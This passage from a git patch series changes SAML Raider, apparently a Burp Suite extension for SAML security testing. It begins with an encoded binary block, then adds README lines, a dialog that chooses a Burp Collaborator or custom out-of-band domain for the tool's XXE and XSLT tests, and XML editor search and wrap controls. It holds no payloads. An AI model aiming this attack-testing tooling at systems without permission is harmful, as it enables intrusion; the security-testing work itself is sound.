zfLq3yrnYijmz?R$%V~!dMKq#B^{4fE>;=C|YjDmJAZJf= zYg_(`10|gcHIM#Gp{sswl!6meR)}zX^>f&O-C7`24gX_bsxD$^7I{kuRwt2a*s4`J zJw~6YPMp6G9hMb@O9f`}cvWIVXnKC$m`yg?O`wpcB00I2_ZAyK`*C7DT1`H4F}8Hl z;y#1e<&g1X#tYDW%eT@}4{}&)H{#6{35yh)u&}W~e>L0ZRt`sy573&kg=ui?da|7I z{st;81^f^V1Fdgd)1#r6(tc>x9>DoZfucHvOnA*H3E_P!9sx$mCyTP9zqKI&%F<{u%Z>L z-Xj3KdTB9BSldow$^GrcL{XXA$o*3{Vtc#k*czkV;N}NAvG??9b z6W|;EcP)PD=?}AEWCinEABSp&0nwg6^{Y7$z{N9~$GHgXIAQdAn#gMT8&e$9(t_iA zhh1wmH7Ug~W9Z98VQGaT(HSm&b8k!78eeC;=dYechjh;z!MP3q2yf+7EwV47-`L3F zjYkEcqY3&+uqCtnyRr9}^L*dP0q27U(m~el;Gs&mYUTjsoDRy5);!3(A4}@b{;bzu zw2Mnxpb>wpymn9(&{GMeb*nD18({Q%Amu^#hsy}@ZLg!mL8G8l< zijtO0#GSjmds~IH93h5z_JM)zk>)E=&h{Uv#P|lh#l61ws&cv8xvn7Awb^v4`<`1( zIWqrvjyG+cxIn^Q-Z68Ofre%eykuL?jps|;PLIDkpY3J4=l+tB#ix8i-YJUaB3z>g zr=qw7EG{bb#p^i6Xqev3UQc`ZlnK6)Kd2mLe^phk zO(JsW2+_R!X`i5ai4W@Sw^WC-Hcs=)M(Ty3%S~Zkv@gS7*bE)=RvpECqa^s6N#dV2 z#+aJxxX#eg9?D$js5Hn(0EVJbmvlu4{klbnA0$d`}{j&Gi7dNr z5c?Wbgob!d8M}gQ2%*!0i0ulFD~~Jru~j0E4=wZCFs-+6r8PvyNC`MV zcOijVBl<1A>)Swv5cZ!i%$@rRg4gDow2jPJ?tMzD-YkpIn6tbpmdS{W%3>cnTwuG@ zF5Zh?wSxH{M+9-q8!R(FYvae!zNpmc41$p46g-{85?a5(uBc0hcO8N>fdcPyqBmjs z7Yxp7Ik#)x*p*=nVBSO7MiO0c_DEvaGTm%f)Y*0I&1L>to2EDU)#8o_`vYTZ;e2)l zs?moV)8lO#`A^7sjFFmPuUy7nISk@*(s|2Z@DiX{(@)sP=xM8#mA=Dx-~p_uH^TG2PlxxXcZ&ue>$ zSp0?#Zy#GFMHms zK@Kz2o#E29S>K=bKB5sij?y9n!P&mV(DrF%k9CqG1f+jLEi?L zgK@Q}2p^JMziGUr8Rng8|I-@HaVou>f$Y?0@}8F#tETnX5~zsP(Qci00G~OZJBakU`V<{H8fE#BjRgv6>2h>W_iEXl@CgF2xyJ978Dd zb&BRH-6YS)(JrZ~zfGLeYf03X9Jp#c<;N71#}QRI8{$5~7qbGoQ&Vx;g5kcLlTp4| zSK&Kc9xBM~J~C_lM8#sks=yus0Sr@Z9L0K6OsBCd6nVh;{Z_A}2cFsLpbDikG?`eo zAOyVh;@cq<*@w1!7V#+L6|nW@80DmXU*z5 z_IH9Ic>$f&ymqw`gnBelY>IZ}row4z&*5X~Zk0{c*U5Nsn+rqQf<~m&Ld`mz32zJ| zO6JT!Pb}8i9|XP`i8yIGIxU(Z)$y=HqtqaWhaGM=HW0GkeVxR`=-+Wm!KZpa$X;j5 zf}l^_t0&yEHM8$NTPc+mH8A$AOY>F@a zz49?v?T#u5OuMeoO*bB;*405=Jac3Ulr{ZdPrPBgcneaPX8fKX2<6yJej#Sn4WK)n z5n`TxqmcFTrfa_2Bjh#=^vQk0kZ@CxyfSVK+A35s$5kx9Vo11bg_z$w*fK_2_s2XG zcWlC8TV=?8UD`m>I&r?_D8suJ4<8*$bjE}PdWAguxP8Ko9@8Xn#d#?5Vc00Ijni_I z@IfrX>WrfErn&4&P2EWYiEg=O{E6OM2DvVo!gj+oEdyNUcI#pbOm$4vzdCkQ_aud1 zzi^GL?-FZg=hyPCDYl$t;oMa9eO&<#8F#5}MXo~rV@uTE>wfhPUFb&^qIJeBckV2E zFQkyq3@>*gkXLriD9J7o;8QgbdfgOPL{H*uzOD`7tZDN}Wq8cgt{mmw?2<1ZGT&x- zqy1$|0RO(4;2cXQW!3ud*W)G?F#qhJKtCH%I_Vc^{>U^$s<+(Cfqie9$7z4lD6#ez`gT+kh*-M-RUkh`e zKKHpuiTo%7X{R?IzBTR+O~1P2oU1%}MX0mT%J+yXewNfBGh<~Mw%rXM?LS9_hHUF3{DC|Zu3V`V^=LP1C`!xPS5Wn(=Zwu{2xTRkSXYR!%R{P25| zU4TATk6i3?WKUDSwHl4U@TSV%vK?vU=U%tNF_~3b!{_z4wP|k9mPt}@-Ita8#5z;d zBz{o7gZ$u0YBBRy#`Prr@R(uS_9pa(=)>7h-|_}U2Z-wQr4IE!1-<{lS^9IUhR_~W zlqVs&c5EKG(cHpv$nfj6fbI8T_2$dIKaC>j`o=E@gO23G$B&131?A-~aJDV+-}h02 z52ig0jY_#QKSRDOGpNOa+r;ai>zpA0HXtD%J`4^Yd?dlS5xDZEKdUygdCZaH|Gh`= z`scU=oHOraqa#Sbp&eS@9OuH)anleq+0FA=Aj+I8o$8YC3_+Qkela#BOL<@XrpBMg z(&UfkK73Uic)L{M%$YOW?-_YJKxmbty~Q~})%HzdyP5FE=YLyhZQCe@xQeQ(1(rk0 z{w@UtkH0U|fc1rv>t@i2Jy0Hj=5~tZ;WH@TKof%P%xx<@Ws1XQe#BOxhtXQlQnCD6 zhM~*NSA8I#rM6(*^M5t=-SJemfBcoKgpj>M95XVb%w%Uv z_9n+3<;fn|dymMDvNKD_ICe;)$lfawWu4#W^gKP^@9VewOL}$Aec#u0f5!EB5303% z64@4vuZ5*gB}GZZju29ov3(y&YqD#||Jk|1)13B(1m#g29s2nDd%?8kx78ZQI6;aj zWUTA91Ge3Ko(@w@LOnJ^oj94DQ23((Q#A-axUbMbf5m-fD!5gA)5WAqI4W zy0`|dFc(aJ_O}d>f|&R_@Vk9f4zsuOE${K58F?0=42^TBFq+6cQ-eW215O}QYwfc*G{J~Nju9*i>C;Rn< z4NCw*5eg+aji_fEmI~NK%W#4?!Ihi*(_FTZGA0`fEyCi$hQvBV^Fj4OrH4_FfS1t{ zqvpE7w;bMhX9H}vpd~gzVu8>dks_hmlO&b^M9;eZ+6X&4 z!v;qD%SA9tTTYYWEQut04K2{2ZO2eWfv_03()Lo-xqY$y?uPLG zRF~W8R;!OJIE+pkw{;PuQdE2X;sxMzj5U*_Noa!|1!Y*JJ)Bmg5!K#C+e&xVt+hh;C?^zq|2J^)azwi)e)El`=< z5l6D`f{*$I?Bg7G5fS;I6aYE`@za>;8PLp^a?`kJW>rc?MC6!Xf3MQ%5qov%OZAV( zg`URgd_J5O2LP?JI26SU4n+y)^l;>O1IFC~NQJse(-3Sinqg&^XUrN60o-$@jKodr z>(b-eCrGR?53EXqtASR57r{Pxf#g0*3we7CPcv|}F&x~N>SECh0_I!n=vrCP@;$ycCLS;$9!merw6<=M8jCE+MVTos3lehCOay6cEefd}lJ)(&FF>-i#|9 zMR_ncF7ixV<4Qj9yQe+;r0Lfe1p{#GcpfDa-K)QchHkthj~Et0jq?^EO@~p_r$%gH zjSCa%03F*%mN5jx0F-;DhE^2X5P48>li0Q+eIe9N#2jQ^*Pl?xKOtY$*8wrrJJ9UmTYl+ z%|IwdP`rS`9CnLdm8?30zROZIiqD`fsw`k^a(penjX`euSWjod>gShQd%Za-%CTbr zIZ&~Rr&=Oxv=XmxgVD;7#A|K-n)8YmDMO^3sLx(;dR|^$WI>vA>6yB+Hme>Yb|X`@ zPFa!Oi|%q}#_NbdG6I3d1f8yHV_u~z@@u7|^+=!Zs+(^FOb)d<4-(QzW5D%5t6Nrj zqmjv4gGmQZtSdq)edbT+|G3f)^XFM=I}_hdna0$)Fn7j6Du0$0oNNA$6diJl zPxHo(WTz{C6xPGgXb|u;bSMBKQ+e(`_VKS=c!jL0GVi?53r2w{=oP%eU$FYz)cpZt{FgRrUjQcnZhxZI z&!(QRZhKYbU)#ZOU?RtdwskZ#0!kEFsxtxbk!cY&rR>X@pm^I>Gcc!fqA_;B3}g0- znVIN523eP+9T1r+xKMNT0a!E6r`!LHUTrVmLE{9TrL{I1tFW{dx`^DIZ?H8YJq{;==6lv3Ao~W}k{P zUpkj=#>ZLZk-!PdMwA!&QIq zfV~c01{t+>tJy^i6w`G*cA%%{N0idcfzXM2s#+=qJ69F|V>-jMnYSa=lrnagnJ`(;H@hOvbmXdz&8xr?F_3 za%f*{C2_~HP0R*5RJMgT%bZqLjV~Xsq7c$&wMtMlI({4Q0Y)B)zb9{zG z{$f6g2O?8gI^m{>uy8MbmsIkXALssU?meoQ11sQEFKQL+^W=|J@#h)B?kfc*I|G4@ zw}XK7mo>n%u3;D3cdCZLrm6+=p$ChE>fEhf{9#k}fXPS#oMnzq=tAcM{&QQrwU#C1 zw$Yo0y#eV(>VjR+Asi17-?J9%#(z77W%Pp*pES$OkeylRTf$~X+h)RrSSXH{BRpiM zyQ!TYbRNu3>ytNFm*hzYPXhj^fkb~&ZePjT0*{7LQ*SDDlI!usKe+441cC;EZ6ea56;ZIq@XautAYGBChj?QfRGnTRS>d=_v@{|CroYE~ zAMVl(c?rLSa7-#VL^E5FwZzwaJCees=sIod#xy8@ydk>~xkJ#)azq%ot%>n>5BaGp zN08Kwdlp7(H}2{nbvO;`pfy-d{xw2q&`5brU*eq3%K@pr&TKAg4b9u%IAakNW6F46 z%<0IlpTT7>jv#!;@Of|gw%%5uXdZ=6l6iC76yeN$e&taXC5v~#_?ll29|v4VTCFN# z3>z&QQz)uK0x)~U&RzEEXs**<++lZM!@4PyHaN;GTuz-#uE$1vf6Nj;=uy&M!HHYF z=mSKED`tQjf>5Km-ffKEa9{VnMqGzdx8g>DqBO#yal!=rPq z_Ovo<>50b1xLmN|O?k{)D1FDYxrv@Lmd#Q$)m7$U0w3L7-M0m zuRzD<{*tKhE=F*VE}bvHA&GQi3bS7-Uj7a+%gJP)WGUBXNNy@>P=Yc$lyK{4M1%hrg zj;TMov@j?3U+2}n@I2HUv?hzn0b$yfC>IL=z_FYl7%B$3%F zrTETyo~Q~!qJpm9)~Rmz$@1DG$WjCx?uol@W0V~(Ruz+21Xh@riJ8LH?OWwmw8u z#ivs5Nv5fBsEBf)U|#mLn6|ex%3-3n+5GS1vuJ#aw6E!!wpTfrcbH&@5#rMsL^+t_ z%sk^1@3^wH+_w1P4$-1<1j~p|l4Enpl<7AxwI3*B>%(fgGqio%tki5>`EDGKKZ(Mw zes`cutfFoQPEEhev-&N22G|!Ru^T@PtIj@pWJw+bBYSa^i@5*QCt*!>aa=E>L9neI2 z>MP`uj&9*uyd%mGFnM9Fl}gEtJ&3BDM03Ou&7U>|_ceAX8u-O`hd37Emjt9%KNSu9 zyHYuXV=9CC0xK-%&j9ro?gJItYXqn36oTFKVjO@`vJya?dS3A^AGiJ9T#Zs^B-{e8 zZeQyNDiTz1i|MlMPU$@<{EeF;nUd!@aw@049`p4GaYK6ZyzbX z%lH>Z$hn$+mJfdC_;`2N)iAr@xb|ffMqr}E^-3vBLfpSL8-tR~h?kE}SKY>VGZ;&K zFT7j0YnUg0-s=l0B)8YCRuefB_B`RmH3l}QK3Yj$US@hQw@{{!*1q2Y< zRx6E|#8mG0KlfI(4l;bWPI8^b4@b!Mnn{O0G}>?1sYT6JFs3 z0vSO2b)8Z#7YIiF8H}13Ap|e4i z?3VasQR4ZNC);?8y+#*R3Al-QFGnVAe*tok;)7MHF|o({$c-np9cAA$(W<%NtpOR! zx5N<@a7t*~DmJDR~Vb zfw8KB+a*t2c-^F3IEnw*7&-5jLvSP8L2ARe)eVep1s?&!aWbh@CJ_qTuyIq`F0TuQ z3XQvl{pWCD=+H0tjfA(@f;3vJY8agVkU<=iCj@;!KvE#Ki}*?^(*2}V1PWdC4FF?x zrla;B`J_xpKT_efECl1|q>~VfJh##n+F}wZvVdGgJl#p|zETv?D(zQ)Uj8Y~khV(x z9XxH2>badk$|{g@Gj(Mdj^fMGt#Gb;@T{}&J+&DF^~Oi@U0|`3{yVl{Tj>-zPF#8o zzLHjN_e!FsA`#Y;R2QtHI~Crvr2_#|J7CwaX`D&f?_SUf?n_D&b{#{~NQcW<(0yNV zqLDr`gco#Gol6gKph*|63584{?M4vySzX-r!FV%DuLpDm+w6nPoO8-3|y(pOPzqEAk)!7@;rEvJo zJLk5yqETXAWyarsiA>ALXwwf7Jq!ii6&*NlP@&SBr72KqOl1mjT*Rw-T;+80aPMer z{Cw(stY}w_^F_n%(m3LNt9E=OgDbaFrs+xo_SnUBX+x~Y;QM2&T)33f+*k@wsfh2G zVJqn%p}N&IQ2kOdKid2?V62<8Y(I7EkAxrE)t^em>;` z2fYlkK7s&MZmW9LV@KC#uXm`UBo$7~gFyV+_CqV{Il*yT?k{Dh|IOy<;jfYw)6an@ zshB(`Le*dJoZ6fl6fMkII=lpSfx8(Hep9^a>_xt|OM^8AOPMheyMTNG?UFE!DuT6}OSd|SK;_D*ER1HUMBEDzV;f$Q; z>YA|$)|{y@LSC^vPjyuuPJ^ipx>VIHe8o^!$#;sdtHGL((W|%KXBT!|`l}JgI-R`N;wt%?TPOF0=Q8ii`d`KaP2`ACBtgE~ zf)@0*xNhI#BKN26)`4IPVW~9j?8=lB!mK=sr*9SjwQ6eqTf{xqw8AUO#DG0Yb)JR; z8vY}w^epy{>ubEL+R}HUcGqwwv~9}4jIb7A&0-pH`NqwZf4gnKtVQ_|2R~Hsypqj2 zeFJzjQ6{F$C!@z&oMpKV2Lh*vw~OBC4pf_r?j-T&eTf&y#QDRV@c0aq+I!?$IRty^ z+}^Ga(weA=3;K`oH52`pE4#cSQ>6j47FQUAaxT{f{;RE@lJ|I^_V#B_zWJOvgTd5^ zC!h+$^If%UjM_{spwc3@=P^iPHb z_v?ix|6zQe8jSP&t*ze+hxWc>k7*oUr|#U{;aToOw*TA$tp?Y~rHI6r6%}`G%L1zm zVCs{~otrt^P2amxKR6OT6H=~V`4>S&Ry8c*_l!*$t^%m;3Gl<|O+*}Sqv}=Re}BWR ze|S)Y;gtBKnp?~a&1w~?@?~8wUb#L?%Db>z@hRiK{`<7Xg#~FxE&I-{Fb#{b@@eOy zVr*?kZm2U}83xQHtTk8=@#He56coKM9S%EIDFpg7g z=GDx*4MCUPq~sToi&P%`PN#uqgF+KToy~*DL{($7J|x+FP?VlT>nq;>NmJGsY(-2j z){D98-#0rVnWln#b@lf*VOMEfGt>O>WBuTPyqvlKaIovc>7EV|J{e0&YJ zgDuo_hyH8Fj+LrUr7t3v22weRx-}KZ*_|`;L_q%trJ6-2cbt>lkR|_C-kvvoyz=iS z49^n-$M?VhSU5qGa^ zzPm|PWk2^rY9yM46a^J(q;qqsH`D%a-$pO4y!~+uXWLGFe0)63yZC4r<3W8iO|)#u zi4AmU3J^vn-rF7v`Wh}Zr`W?f(b60i4bPdfCk9K3@Sjn75eK+ ztUUU4-tAqg^Ido8B#`G(c(EtAL_gUtR~Vr}CeS$#20nW{+!}2V;bkSH6F?sJPZZ1y zkg3gE9;hkAneR#^$^X8ttZ=Q69&YpZ7y%ys40uxra>1AqfDqwvnd(|5O}9n>_r zbmUN!wClpimt|!Hf>NG0fOX|_(q!_E&9K4q1g9lV5V^1dAj8*uc5$M`<>gyzwf3w; z$I7D7iH#k}KM^_%mPuWUx}1awHE%}8sF0pfDFTDoTMV3!(PG`(me)jE*u3isvdn=JXuHfiZ zbi9$HJ%w`b5$%MhilXUy0P)3oZD{AU^JtdOTuLW!^ zX7lf$9vAZ%*KJtil&WQMWD2{bB*h}AKuUnE`25WD*F8NV#zj6QN z3d1^x49Y1ysWJ~FPX**Y-sWw2Sh3$doZl`VmB85;9JU4hE7X*S9(_)*?NWAK=Gjx8 zN`$L`#N^E9MzsD6@30mVv1{f?XBTSQt-@fty2Nfb$u2sYSlM&qVsB$5=qgz;-u$b> zlzbrb{deV_R_1m<_hpU5$)(5~7++v_!$eB)JDNgiayMAl6J{G8$cqf``yxQYSd_Kx>bBV`*g8RON=kfVc-Ev-D$;Z0A#qTqs zlk>N_RMR-v3SWCN-t_eD+K?H{G7@}<2Imi!3X1}y&B0t4BhpV%D6LkON-uTsm`ZY zFkdW8T(sd5K54pL3I}s#?dJi2EK?;UUE(;~GT zuY;|d@3uD3H#QkS|)hBOANj$?f{1u_|;$g~`t3GQR%qb1W z?!xAjH|^dD?2ObHAuDE`KD_tJ65&cQbwxjwqY)-~vy)y4g*%{uq-XzcEYpBkMxhJ? z=Dil_)}8iHRo-<{f!31`Ebk7PBKPAgB$-*&1zhREqI*jt2`Kq~D6_hJUMN8yWDd9A zi7qdDkvLyNPOeon;H;D1MKRgnr4<9s=G`%!+FQSq8IL*EY-jto=iNomA}q~iGYFAW zg{w8zEK>2swohu;MHI{?dbD7>%850!z{}&3%5+=p=?$>hTa0BaZ1SoR_#TeX+-bt( zThC&8Nte78$?ryEg(cT*@*0g&h_VoT5B2|)5QQ-r)j_ZBDUs0<8;!A9`lG)PPw0zL zU3WYVua3>J%{y->wXPPo2dY=OEb{R1Ma!oBE9Ho66UPL+kz-EYM=?)Fx2Ed-CL)q~ zPL;BA&UwXsN#YgWi`9TDIt0auQ}3UMeg4wG@Sc{uIT@LKid*tRW}2bLRLMC-0~w27 z^Jkcj=fHPrUi?R3aDsoPYk1m`=j}F@#(oI1$%s9Ca-mU>)w&q{ls=r zTS|yIz;=;Tg*Z59(!hj*N8cuDn4A-L$)f9S90*E;S66R}dn!u9-|w+BMb2ssDTVE_qEYg588xSjm@cgboa2u z3SlX%My=Z?-h=7qyoS#W>s%MR`7MeE)54n?AkLT032Ay1z40E)5_47gT<<5j={%bj zxI;j}=NVn2y~J~GMa_ceS593M2p2}8{w+_ZEqaMY%QAgW!5*)9rPm9C&D>07L z0`zke>2=@H*bg@rVh?%ly`s7;Ee=o*Ns#g)!z$pPXW#hTd^ES+VglO9a{3c~6sI}D zY1f??ih|Npa&Er%{>X`rq=xlIq>1)C74v)-JoR{gP219dJ$5pUqeLdl2l28LV6CZD6h43Bjqv4O9k z9{1LMR%rn}PP)Nk+@x|L$T}z?y=Ix|8n7IJfNbJhXFis-Kt0TC!^OEZ?IeYG$|1gr zZhe~l&nu_E_Pd(1_PdH49Y2SISMBE>o7fmk5VQ-`_4?Y{q}~sMMA39*P05#q-B`o4 zxWtS^y)}t75`{vkw(1%*1%HRjKY@Wwd0G^%Kc)J2;>$C)7#f;=-UM}T+ZUo=K~IvN zN_ZT1gwKfYW_9%#CY-!?W>?GJ-Jx9`*w((Rk|yZYD~PF0x5|jsmPpYSdc3Q6ElIDW%`$60#p40E#YBPdrM7KB=6F$)XU2GSs)glpuig_ZCxQ9rCo)ERTE-DSb`K8%;Rv+`Px9#Ho=@NpE{vTZe$Ui99`a^Y1 zOGER(ew~Q^R<-riA$DX+oapbCAns(fWFt7(*`ys14jCeTZT@YtigXQrE`9iL3##eD zPcLISk%Ewl;SA;fY^ape9ZU0kq2HUFCz4Q+MLt@;-fTX7w?^pUwy@C6D=tzg?;vM> z%m{9Z&^s8@vl tt8uNiMAU;E#Gg6^vv_Z1KL13YpjS+WvRqS|FQ0)winrC|%4JLg{|AqYnfCwy From 31dd88758ca24f935c8864e1dbb5eb87651987b8 Mon Sep 17 00:00:00 2001 From: Jonathan Conesa <24526564+intrudir@users.noreply.github.com> Date: Wed, 4 Feb 2026 16:22:18 -0500 Subject: [PATCH 15/27] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 50deed0..459933b 100644 --- a/README.md +++ b/README.md @@ -27,6 +27,7 @@ Features of the SAML Raider message editor: * Supported Profiles: SAML Webbrowser Single Sign-on Profile, Web Services Security SAML Token Profile * Supported Bindings: POST Binding, Redirect Binding, SOAP Binding, URI Binding +* Search field at the bottom to auto scroll & highlight searched text SAML Attacks: From bf9eaf05f14d79012e4665d952fc9ecc560f1505 Mon Sep 17 00:00:00 2001 From: Jonathan Conesa <24526564+intrudir@users.noreply.github.com> Date: Wed, 4 Feb 2026 16:23:09 -0500 Subject: [PATCH 16/27] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 459933b..b244dde 100644 --- a/README.md +++ b/README.md @@ -27,6 +27,7 @@ Features of the SAML Raider message editor: * Supported Profiles: SAML Webbrowser Single Sign-on Profile, Web Services Security SAML Token Profile * Supported Bindings: POST Binding, Redirect Binding, SOAP Binding, URI Binding +* XML is pretty printed, syntax highlighted and editable live * Search field at the bottom to auto scroll & highlight searched text SAML Attacks: From e014c6e1d0964c19ba14d6123c45c2004481d4ca Mon Sep 17 00:00:00 2001 From: intrudir <24526564+intrudir@users.noreply.github.com> Date: Wed, 4 Feb 2026 16:36:11 -0500 Subject: [PATCH 17/27] Add OOB domain dialog for XXE/XSLT attacks Replace plain text input with a dialog offering two options: - 'Use Burp Collaborator' checkbox (auto-generates payload via API) - 'OOB Domain' text field for custom domains (disabled when Collaborator is checked, enabled when unchecked) Collaborator is selected by default. Handles errors gracefully if Collaborator is not available. Used by both Test XXE and Test XSLT. --- src/main/java/gui/OobDomainDialog.java | 92 ++++++++++++++++++++++++++ src/main/java/gui/SamlPanelAction.java | 4 +- 2 files changed, 94 insertions(+), 2 deletions(-) create mode 100644 src/main/java/gui/OobDomainDialog.java diff --git a/src/main/java/gui/OobDomainDialog.java b/src/main/java/gui/OobDomainDialog.java new file mode 100644 index 0000000..78461ad --- /dev/null +++ b/src/main/java/gui/OobDomainDialog.java @@ -0,0 +1,92 @@ +package gui; + +import burp.BurpExtender; +import java.awt.BorderLayout; +import java.awt.Component; +import java.awt.FlowLayout; +import java.util.Optional; +import javax.swing.BorderFactory; +import javax.swing.JCheckBox; +import javax.swing.JLabel; +import javax.swing.JOptionPane; +import javax.swing.JPanel; +import javax.swing.JTextField; + +/** + * Dialog that lets the user choose between Burp Collaborator and a + * custom OOB domain for XXE/XSLT payloads. + */ +public class OobDomainDialog { + + private OobDomainDialog() {} + + /** + * Show the dialog and return the chosen OOB URL, or empty if cancelled. + */ + public static Optional prompt(Component parent, String title) { + var useCollab = new JCheckBox("Use Burp Collaborator", true); + var domainField = new JTextField(30); + domainField.setEnabled(false); + var domainLabel = new JLabel("OOB Domain:"); + domainLabel.setEnabled(false); + + useCollab.addActionListener(e -> { + boolean custom = !useCollab.isSelected(); + domainField.setEnabled(custom); + domainLabel.setEnabled(custom); + if (custom) { + domainField.requestFocusInWindow(); + } + }); + + var collabRow = new JPanel(new FlowLayout(FlowLayout.LEFT, 0, 0)); + collabRow.add(useCollab); + + var domainRow = new JPanel(new FlowLayout(FlowLayout.LEFT, 4, 0)); + domainRow.add(domainLabel); + domainRow.add(domainField); + + var panel = new JPanel(new BorderLayout(0, 8)); + panel.setBorder(BorderFactory.createEmptyBorder(4, 0, 4, 0)); + panel.add(collabRow, BorderLayout.NORTH); + panel.add(domainRow, BorderLayout.CENTER); + + int result = JOptionPane.showConfirmDialog( + parent, panel, title, JOptionPane.OK_CANCEL_OPTION, JOptionPane.PLAIN_MESSAGE); + + if (result != JOptionPane.OK_OPTION) { + return Optional.empty(); + } + + if (useCollab.isSelected()) { + try { + String payload = BurpExtender.api.collaborator() + .defaultPayloadGenerator() + .generatePayload() + .toString(); + return Optional.of("https://" + payload); + } catch (Exception ex) { + BurpExtender.api.logging().logToError("Could not generate Collaborator payload: " + ex.getMessage()); + BurpExtender.api.logging().logToError(ex); + JOptionPane.showMessageDialog(parent, + "Failed to generate Burp Collaborator payload.\n" + + "Make sure Collaborator is enabled in Burp settings.\n\n" + + ex.getMessage(), + "Collaborator Error", JOptionPane.ERROR_MESSAGE); + return Optional.empty(); + } + } else { + String domain = domainField.getText().trim(); + if (domain.isEmpty()) { + JOptionPane.showMessageDialog(parent, + "Please enter an OOB domain.", title, JOptionPane.WARNING_MESSAGE); + return Optional.empty(); + } + // Ensure it has a scheme + if (!domain.startsWith("http://") && !domain.startsWith("https://")) { + domain = "https://" + domain; + } + return Optional.of(domain); + } + } +} diff --git a/src/main/java/gui/SamlPanelAction.java b/src/main/java/gui/SamlPanelAction.java index 7a5371d..e47c6bb 100644 --- a/src/main/java/gui/SamlPanelAction.java +++ b/src/main/java/gui/SamlPanelAction.java @@ -84,10 +84,10 @@ private void initialize() { btnXSWApply.addActionListener(event -> controller.applyXSW()); btnTestXXE.addActionListener(event -> - Optional.ofNullable(JOptionPane.showInputDialog(btnXSWApply, "Enter Burp Collaborator URL (e.g. https://xyz.burpcollaborator.net)")) + OobDomainDialog.prompt(this, "XXE — OOB Domain") .ifPresent(controller::applyXXE)); btnTestXSLT.addActionListener(event -> - Optional.ofNullable(JOptionPane.showInputDialog(btnXSWApply, "Enter Burp Collaborator URL (e.g. https://xyz.burpcollaborator.net)")) + OobDomainDialog.prompt(this, "XSLT — OOB Domain") .ifPresent(controller::applyXSLT)); cmbboxCVE.setModel(new DefaultComboBoxModel<>(new String[]{ From f68011453737c09649b67df98d721e961facb75f Mon Sep 17 00:00:00 2001 From: intrudir <24526564+intrudir@users.noreply.github.com> Date: Wed, 4 Feb 2026 16:38:32 -0500 Subject: [PATCH 18/27] Disable Collaborator option on Burp Community Edition MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Check BurpSuiteEdition at runtime — if not Professional, the 'Use Burp Collaborator' checkbox is unchecked and disabled with a tooltip explaining why. OOB Domain field is enabled by default on Community so the user can enter a custom domain immediately. --- src/main/java/gui/OobDomainDialog.java | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) diff --git a/src/main/java/gui/OobDomainDialog.java b/src/main/java/gui/OobDomainDialog.java index 78461ad..2112648 100644 --- a/src/main/java/gui/OobDomainDialog.java +++ b/src/main/java/gui/OobDomainDialog.java @@ -1,6 +1,7 @@ package gui; import burp.BurpExtender; +import burp.api.montoya.core.BurpSuiteEdition; import java.awt.BorderLayout; import java.awt.Component; import java.awt.FlowLayout; @@ -24,11 +25,18 @@ private OobDomainDialog() {} * Show the dialog and return the chosen OOB URL, or empty if cancelled. */ public static Optional prompt(Component parent, String title) { - var useCollab = new JCheckBox("Use Burp Collaborator", true); + boolean isPro = BurpExtender.api.burpSuite().version().edition() == BurpSuiteEdition.PROFESSIONAL; + + var useCollab = new JCheckBox("Use Burp Collaborator", isPro); + useCollab.setEnabled(isPro); + if (!isPro) { + useCollab.setToolTipText("Burp Collaborator is only available in Burp Suite Professional"); + } + var domainField = new JTextField(30); - domainField.setEnabled(false); + domainField.setEnabled(!isPro); var domainLabel = new JLabel("OOB Domain:"); - domainLabel.setEnabled(false); + domainLabel.setEnabled(!isPro); useCollab.addActionListener(e -> { boolean custom = !useCollab.isSelected(); From 2fe32286142274bbb02802b7006c87eb20cd952c Mon Sep 17 00:00:00 2001 From: intrudir <24526564+intrudir@users.noreply.github.com> Date: Wed, 4 Feb 2026 17:32:07 -0500 Subject: [PATCH 19/27] Add search nav arrows and soft wrap toggle to XML editor MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Previous/next match buttons (▲/▼) next to search field - Soft wrap checkbox (visual only, no text modification) - Wrap controls JTextPane viewport tracking, not document content --- src/main/java/gui/SamlXmlEditor.java | 51 ++++++++++++++++++++++++++-- 1 file changed, 49 insertions(+), 2 deletions(-) diff --git a/src/main/java/gui/SamlXmlEditor.java b/src/main/java/gui/SamlXmlEditor.java index b4894d9..cbdd293 100644 --- a/src/main/java/gui/SamlXmlEditor.java +++ b/src/main/java/gui/SamlXmlEditor.java @@ -13,6 +13,8 @@ import java.util.Arrays; import java.util.concurrent.atomic.AtomicBoolean; import javax.swing.BorderFactory; +import javax.swing.JButton; +import javax.swing.JCheckBox; import javax.swing.JLabel; import javax.swing.JPanel; import javax.swing.JScrollPane; @@ -45,6 +47,7 @@ private enum Tk { TEXT, BRACKET, TAG_NAME, ATTR_NAME, ATTR_VALUE, COMMENT, CDATA private final Timer highlightTimer; private final AtomicBoolean modified = new AtomicBoolean(false); private volatile boolean suppressEvents = false; + private boolean softWrap = false; // Search private final JTextField searchField; @@ -68,12 +71,15 @@ public SamlXmlEditor() { doc = new DefaultStyledDocument(); - // Override to disable word-wrapping (XML reads better with horiz scroll) + // Override to control word-wrapping via softWrap flag. + // When softWrap=false, long lines scroll horizontally. + // When softWrap=true, content wraps at viewport edge. textPane = new JTextPane(doc) { @Serial private static final long serialVersionUID = 1L; @Override public boolean getScrollableTracksViewportWidth() { + if (softWrap) return true; Component parent = getParent(); if (parent == null) return true; return getUI().getPreferredSize(this).width <= parent.getWidth(); @@ -145,13 +151,54 @@ public void keyPressed(KeyEvent e) { } }); + // Nav arrows: ▲ previous, ▼ next + var btnPrev = new JButton("▲"); + btnPrev.setFont(font.deriveFont(Font.PLAIN, 10f)); + btnPrev.setToolTipText("Previous match (Shift+Enter)"); + btnPrev.setFocusable(false); + btnPrev.setMargin(new java.awt.Insets(1, 4, 1, 4)); + btnPrev.addActionListener(e -> jumpToMatch(-1)); + + var btnNext = new JButton("▼"); + btnNext.setFont(font.deriveFont(Font.PLAIN, 10f)); + btnNext.setToolTipText("Next match (Enter)"); + btnNext.setFocusable(false); + btnNext.setMargin(new java.awt.Insets(1, 4, 1, 4)); + btnNext.addActionListener(e -> jumpToMatch(1)); + + var navPanel = new JPanel(new java.awt.FlowLayout(java.awt.FlowLayout.LEFT, 2, 0)); + navPanel.add(btnPrev); + navPanel.add(btnNext); + navPanel.add(searchStatus); + + // Soft wrap checkbox + var wrapCheck = new JCheckBox("Wrap"); + wrapCheck.setFont(font.deriveFont(Font.PLAIN, 11f)); + 